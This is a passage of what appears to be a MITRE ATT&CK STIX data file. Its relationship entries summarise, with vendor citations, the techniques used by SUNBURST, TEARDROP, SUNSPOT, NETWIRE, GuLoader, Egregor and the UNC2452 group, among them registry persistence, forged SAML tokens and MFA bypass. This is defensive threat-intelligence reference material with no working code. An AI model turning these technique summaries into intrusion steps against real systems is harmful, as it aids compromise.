                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                }
            ],
            "description": "[SUNBURST](https://attack.mitre.org/software/S0559) used Base64 encoding in its C2 traffic.(Citation: FireEye SUNBURST Backdoor December 2020)",
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            "id": "relationship--2db32876-d6f5-4862-b760-f0a9dfb28c3c",
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                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                }
            ],
            "description": "[SUNBURST](https://attack.mitre.org/software/S0559) remained dormant after initial access for a period of up to two weeks.(Citation: FireEye SUNBURST Backdoor December 2020)",
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                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                }
            ],
            "description": "[SUNBURST](https://attack.mitre.org/software/S0559) delivered different payloads, including [TEARDROP](https://attack.mitre.org/software/S0560) in at least one instance.(Citation: FireEye SUNBURST Backdoor December 2020)",
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                    "description": "MSTIC. (2020, December 18). Analyzing Solorigate, the compromised DLL file that started a sophisticated cyberattack, and how Microsoft Defender helps protect customers . Retrieved January 5, 2021."
                }
            ],
            "description": "[SUNBURST](https://attack.mitre.org/software/S0559) checked the domain name of the compromised host to verify it was running in a real environment.(Citation: Microsoft Analyzing Solorigate Dec 2020)",
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                    "url": "https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html",
                    "description": "Stephen Eckels, Jay Smith, William Ballenthin. (2020, December 24). SUNBURST Additional Technical Details. Retrieved January 6, 2021."
                }
            ],
            "description": "[SUNBURST](https://attack.mitre.org/software/S0559) attempted to disable software security services following checks against a FNV-1a + XOR hashed hardcoded blocklist.(Citation: FireEye SUNBURST Additional Details Dec 2020)",
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                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                },
                {
                    "source_name": "Check Point Sunburst Teardrop December 2020",
                    "url": "https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/",
                    "description": "Check Point Research. (2020, December 22). SUNBURST, TEARDROP and the NetSec New Normal. Retrieved January 6, 2021."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[TEARDROP](https://attack.mitre.org/software/S0560) created and read from a file with a fake JPG header, and its payload was encrypted with a simple rotating XOR cipher.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Check Point Sunburst Teardrop December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)",
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                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
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                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
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                }
            ],
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                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                },
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                }
            ],
            "description": "[TEARDROP](https://attack.mitre.org/software/S0560) files had names that resembled legitimate Window file and directory names.(Citation: FireEye SUNBURST Backdoor December 2020)(Citation: Microsoft Deep Dive Solorigate January 2021)",
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                }
            ],
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                    "description": "FireEye. (2020, December 13). Highly Evasive Attacker Leverages SolarWinds Supply Chain to Compromise Multiple Global Victims With SUNBURST Backdoor. Retrieved January 4, 2021."
                },
                {
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                    "url": "https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/",
                    "description": "Check Point Research. (2020, December 22). SUNBURST, TEARDROP and the NetSec New Normal. Retrieved January 6, 2021."
                },
                {
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                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
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                }
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                    "url": "https://www.intrinsec.com/egregor-prolock/?cn-reloaded=1",
                    "description": "Bichet, J. (2020, November 12). Egregor \u2013 Prolock: Fraternal Twins ?. Retrieved January 6, 2021."
                }
            ],
            "description": "[Egregor](https://attack.mitre.org/software/S0554) has communicated with its C2 servers via HTTPS protocol.(Citation: Intrinsec Egregor Nov 2020)",
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                    "source_name": "JoeSecurity Egregor 2020",
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                    "description": "Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021."
                }
            ],
            "description": "[Egregor](https://attack.mitre.org/software/S0554) has used regsvr32.exe to execute malicious DLLs.(Citation: JoeSecurity Egregor 2020)",
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                    "source_name": "JoeSecurity Egregor 2020",
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                    "description": "Joe Security. (n.d.). Analysis Report fasm.dll. Retrieved January 6, 2021."
                }
            ],
            "description": "[Egregor](https://attack.mitre.org/software/S0554) contains functionality to query the local/system time.(Citation: JoeSecurity Egregor 2020)",
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                }
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                    "source_name": "FireEye NETWIRE March 2019",
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                    "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021."
                },
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                    "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns",
                    "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."
                }
            ],
            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has been executed through use of VBScripts.(Citation: FireEye NETWIRE March 2019)(Citation: Proofpoint NETWIRE December 2020)",
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                    "source_name": "FireEye NETWIRE March 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html",
                    "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021."
                },
                {
                    "source_name": "Unit 42 NETWIRE April 2020",
                    "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/",
                    "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."
                },
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                    "source_name": "Proofpoint NETWIRE December 2020",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns",
                    "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."
                }
            ],
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                    "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021."
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                    "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/",
                    "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."
                }
            ],
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                    "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021."
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            ],
            "description": "The [NETWIRE](https://attack.mitre.org/software/S0198) binary has been executed via PowerShell script.(Citation: FireEye NETWIRE March 2019)",
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                    "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021."
                }
            ],
            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has used a custom obfuscation algorithm to hide strings including Registry keys, APIs, and DLL names.(Citation: FireEye NETWIRE March 2019)",
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                }
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            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can use crontabs to establish persistence.(Citation: Red Canary NETWIRE January 2020)",
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                }
            ],
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            ],
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                    "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns",
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            ],
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            ],
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            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has used .NET packer tools to evade detection.(Citation: Red Canary NETWIRE January 2020)",
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            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can use AES encryption for C2 data transferred.(Citation: Red Canary NETWIRE January 2020)",
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            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can inject code into system processes including notepad.exe, svchost.exe, and vbc.exe.(Citation: Red Canary NETWIRE January 2020)",
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            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can retrieve passwords from messaging and mail client applications.(Citation: Red Canary NETWIRE January 2020)",
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            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) stores its configuration file within the Registry.(Citation: Red Canary NETWIRE January 2020)",
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                    "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/",
                    "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."
                }
            ],
            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can use launch agents for persistence.(Citation: Red Canary NETWIRE January 2020)",
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            "id": "relationship--eeae0ab0-541c-401f-aa7c-af674bacdc6c",
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            "target_ref": "attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a",
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                    "source_name": "Red Canary NETWIRE January 2020",
                    "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/",
                    "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021."
                }
            ],
            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can persist via startup options for Login items.(Citation: Red Canary NETWIRE January 2020)",
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            "id": "relationship--98025811-58b2-4321-8591-a6c3abaab04d",
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                {
                    "source_name": "Unit 42 NETWIRE April 2020",
                    "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/",
                    "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."
                }
            ],
            "description": "[GuLoader](https://attack.mitre.org/software/S0561) has been spread in phishing campaigns using malicious web links.(Citation: Unit 42 NETWIRE April 2020)",
            "relationship_type": "uses",
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            "external_references": [
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                    "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/",
                    "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."
                }
            ],
            "description": "The [GuLoader](https://attack.mitre.org/software/S0561) executable has been retrieved via embedded macros in malicious Word documents.(Citation: Unit 42 NETWIRE April 2020)",
            "relationship_type": "uses",
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                    "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."
                }
            ],
            "description": "[GuLoader](https://attack.mitre.org/software/S0561) can delete its executable from the <code>AppData\\Local\\Temp</code> directory on the compromised host.(Citation: Unit 42 NETWIRE April 2020)",
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                    "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/",
                    "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."
                }
            ],
            "description": "[GuLoader](https://attack.mitre.org/software/S0561) can use HTTP to retrieve additional binaries.(Citation: Unit 42 NETWIRE April 2020)",
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                    "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/",
                    "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."
                }
            ],
            "description": "[GuLoader](https://attack.mitre.org/software/S0561) can establish persistence via the Registry under <code>HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce</code>.(Citation: Unit 42 NETWIRE April 2020)",
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            "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9",
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                {
                    "source_name": "FireEye NETWIRE March 2019",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/03/dissecting-netwire-phishing-campaign-usage-of-process-hollowing.html",
                    "description": "Maniath, S. and Kadam P. (2019, March 19). Dissecting a NETWIRE Phishing Campaign's Usage of Process Hollowing. Retrieved January 7, 2021."
                },
                {
                    "source_name": "Unit 42 NETWIRE April 2020",
                    "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/",
                    "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."
                }
            ],
            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has been executed through convincing victims into clicking malicious links.(Citation: FireEye NETWIRE March 2019)(Citation: Unit 42 NETWIRE April 2020)",
            "relationship_type": "uses",
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            "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7",
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                    "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/",
                    "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."
                }
            ],
            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has been spread via e-mail campaigns utilizing malicious links.(Citation: Unit 42 NETWIRE April 2020)",
            "relationship_type": "uses",
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                    "source_name": "Unit 42 NETWIRE April 2020",
                    "url": "https://unit42.paloaltonetworks.com/guloader-installing-netwire-rat/",
                    "description": "Duncan, B. (2020, April 3). GuLoader: Malspam Campaign Installing NetWire RAT. Retrieved January 7, 2021."
                },
                {
                    "source_name": "Proofpoint NETWIRE December 2020",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns",
                    "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."
                }
            ],
            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has been spread via e-mail campaigns utilizing malicious attachments.(Citation: Unit 42 NETWIRE April 2020)(Citation: Proofpoint NETWIRE December 2020)",
            "relationship_type": "uses",
            "id": "relationship--e4d36f81-8028-4eae-8bc2-d856296afb46",
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            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "external_references": [
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                    "source_name": "Proofpoint NETWIRE December 2020",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns",
                    "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021."
                }
            ],
            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) has the ability to search for files on the compromised host.(Citation: Proofpoint NETWIRE December 2020)",
            "relationship_type": "uses",
            "id": "relationship--6c320415-f45c-438a-9671-c4c831ebd7fc",
            "type": "relationship",
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        {
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            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--f303a39a-6255-4b89-aecc-18c4d8ca7163",
            "external_references": [
                {
                    "source_name": "Microsoft 365 Defender Solorigate",
                    "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
                    "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) leveraged privileged accounts to replicate directory service data with domain controllers.(Citation: Microsoft 365 Defender Solorigate)(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
            "id": "relationship--78d607b6-0716-4b94-b99a-c1a6b0df8568",
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        {
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            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
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            "external_references": [
                {
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                    "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
                    "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used WMI event subscriptions for persistence.(Citation: Microsoft 365 Defender Solorigate)(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
            "id": "relationship--2ad1d615-77c1-40a6-9454-705e90c7a67d",
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        {
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            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
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                    "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
                    "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
                },
                {
                    "source_name": "Microsoft Deep Dive Solorigate January 2021",
                    "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/",
                    "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used WMI for the remote execution of files for lateral movement.(Citation: Microsoft 365 Defender Solorigate)(Citation: Microsoft Deep Dive Solorigate January 2021)",
            "relationship_type": "uses",
            "id": "relationship--cce0a26a-2d3c-486c-b4b1-7f2f2f9529d7",
            "type": "relationship",
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        {
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            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6",
            "external_references": [
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                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                }
            ],
            "description": "(Citation: CrowdStrike SUNSPOT Implant January 2021)",
            "relationship_type": "uses",
            "id": "relationship--0357c29c-1f38-4c94-a2be-8a354f79fef8",
            "type": "relationship",
            "modified": "2021-01-12T21:44:55.617Z",
            "created": "2021-01-12T21:44:55.617Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--51a14c76-dd3b-440b-9c20-2bf91d25a814",
            "external_references": [
                {
                    "source_name": "Microsoft 365 Defender Solorigate",
                    "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
                    "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used forged SAML tokens that allowed the actors to impersonate users and bypass MFA, enabling [UNC2452](https://attack.mitre.org/groups/G0118) to access enterprise cloud applications and services.(Citation: Microsoft 365 Defender Solorigate)",
            "relationship_type": "uses",
            "id": "relationship--b72d7898-8049-4dad-bc0a-05d56e33122c",
            "type": "relationship",
            "modified": "2021-01-14T22:26:50.291Z",
            "created": "2021-01-12T22:39:34.353Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0",
            "external_references": [
                {
                    "source_name": "Volexity SolarWinds",
                    "url": "https://www.volexity.com/blog/2020/12/14/dark-halo-leverages-solarwinds-compromise-to-breach-organizations/",
                    "description": "Cash, D. et al. (2020, December 14). Dark Halo Leverages SolarWinds Compromise to Breach Organizations. Retrieved December 29, 2020."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) used a forged <code>duo-sid</code> cookie to bypass MFA set on an email account.(Citation: Volexity SolarWinds)",
            "relationship_type": "uses",
            "id": "relationship--e879c8be-df2c-4983-96f2-2bca047b017d",
            "type": "relationship",
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        {
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            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee",
            "external_references": [
                {
                    "source_name": "Microsoft 365 Defender Solorigate",
                    "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
                    "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) changed domain federation trust settings using Azure AD administrative permissions to configure the domain to accept authorization tokens signed by their own SAML signing certificate.(Citation: Microsoft 365 Defender Solorigate)",
            "relationship_type": "uses",
            "id": "relationship--0192ae64-7d9f-4b19-90a1-def2c716a8ed",
            "type": "relationship",
            "modified": "2021-01-14T22:26:50.338Z",
            "created": "2021-01-12T22:39:34.361Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf",
            "external_references": [
                {
                    "source_name": "Microsoft 365 Defender Solorigate",
                    "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
                    "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
                }
            ],
            "description": "[UNC2452](https://attack.mitre.org/groups/G0118) obtained the private encryption key from an Active Directory Federation Services (AD FS) container to decrypt corresponding SAML signing certificates.(Citation: Microsoft 365 Defender Solorigate)",
            "relationship_type": "uses",
            "id": "relationship--7cbc1b77-dd32-4d58-8933-56572e0b4803",
            "type": "relationship",
            "modified": "2021-01-12T22:39:34.382Z",
            "created": "2021-01-12T22:39:34.382Z"
        },
        {
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            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--dc5e2999-ca1a-47d4-8d12-a6984b138a1b",
            "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60",
            "external_references": [
                {
                    "source_name": "Microsoft 365 Defender Solorigate",
                    "url": "https://www.microsoft.com/security/blog/2020/12/28/using-microsoft-365-defender-to-coordinate-protection-against-solorigate/",
                    "description": "Microsoft 365 Defender Team. (2020, December 28). Using Microsoft 365 Defender to protect against Solorigate. Retrieved January 7, 2021."
                }
            ],
            "description": "(Citation: Microsoft 365 Defender Solorigate)",
            "relationship_type": "uses",
            "id": "relationship--1cc4ca28-4e21-4e4b-886c-790d92ed8c02",
            "type": "relationship",
            "modified": "2021-01-13T14:31:41.680Z",
            "created": "2021-01-13T14:31:41.680Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "external_references": [
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                }
            ],
            "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) was identified on disk with a filename of <code>taskhostsvc.exe</code> and it created an encrypted log file at <code>C:\\Windows\\Temp\\vmware-vmdmp.log</code>.(Citation: CrowdStrike SUNSPOT Implant January 2021) ",
            "relationship_type": "uses",
            "id": "relationship--be94a9ae-e54a-427e-8caa-36cea954abcb",
            "type": "relationship",
            "modified": "2021-01-14T15:46:14.358Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
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            "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852",
            "external_references": [
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                }
            ],
            "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) only replaces SolarWinds Orion source code if the MD5 checksums of both the original source code file and backdoored replacement source code match hardcoded values.(Citation: CrowdStrike SUNSPOT Implant January 2021) ",
            "relationship_type": "uses",
            "id": "relationship--70d81631-4f33-4fd0-98ac-15b57b8c1ed1",
            "type": "relationship",
            "modified": "2021-01-14T21:54:18.050Z",
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "external_references": [
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                }
            ],
            "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) encrypted log entries it collected with the stream cipher RC4 using a hard-coded key. It also uses AES128-CBC encrypted blobs for [SUNBURST](https://attack.mitre.org/software/S0559) source code and data extracted from the SolarWinds Orion <MsBuild.exe</code> process.(Citation: CrowdStrike SUNSPOT Implant January 2021)",
            "relationship_type": "uses",
            "id": "relationship--41118997-c45e-4123-be61-1b0c5d456256",
            "type": "relationship",
            "modified": "2021-01-14T15:36:30.804Z",
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        },
        {
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            "object_marking_refs": [
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            ],
            "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "external_references": [
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                }
            ],
            "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) decrypts [SUNBURST](https://attack.mitre.org/software/S0559), which was stored in AES128-CBC encrypted blobs.(Citation: CrowdStrike SUNSPOT Implant January 2021)  ",
            "relationship_type": "uses",
            "id": "relationship--b8333924-1556-4c3f-b60f-105984e1f715",
            "type": "relationship",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
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            ],
            "source_ref": "malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6",
            "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
            "external_references": [
                {
                    "source_name": "CrowdStrike SUNSPOT Implant January 2021",
                    "url": "https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/",
                    "description": "CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."
                }
            ],
            "description": "[SUNSPOT](https://attack.mitre.org/software/S0562) monitored running processes for instances of <code>MsBuild.exe</code> by hashing the name of each running process and comparing it to the corresponding value <code>0x53D525</code>. It also extracted command-line arguments and individual arguments from the running <code>MsBuild.exe</code> process to identify the directory path of the Orion software Visual Studio solution.(Citation: CrowdStrike SUNSPOT Implant January 2021)",
            "relationship_type": "uses",
            "id": "relationship--09f6307c-819e-4e35-bfc7-5314b0c3ce85",
            "type": "relationship",
            "modified": "2021-01-14T15:36:30.832Z",
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        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
            "external_references": [
                {
                    "source_name": "TrendMicro Pawn Storm 2019",
                    "url": "https://documents.trendmicro.com/assets/white_papers/wp-pawn-storm-in-2019.pdf",
                    "description": "Hacquebord, F. (n.d.). Pawn Storm in 2019 A Year of Scanning and Credential Phishing on High-Profile Targets. Retrieved December 29, 2020."
                },
                {
                    "source_name": "TrendMicro Pawn Storm Dec 2020",
                    "url": "https://www.trendmicro.com/en_us/research/20/l/pawn-storm-lack-of-sophistication-as-a-strategy.html",
                    "description": "Hacquebord, F., Remorin, L. (2020, December 17). Pawn Storm\u2019s Lack of Sophistication as a Strategy. Retrieved January 13, 2021."
                },
                {
                    "source_name": "Microsoft Targeting Elections September 2020",
                    "url": "https://blogs.microsoft.com/on-the-issues/2020/09/10/cyberattacks-us-elections-trump-biden/",
                    "description": "Burt, T. (2020, September 10). New cyberattacks targeting U.S. elections. Retrieved March 24, 2021."
                }
            ],
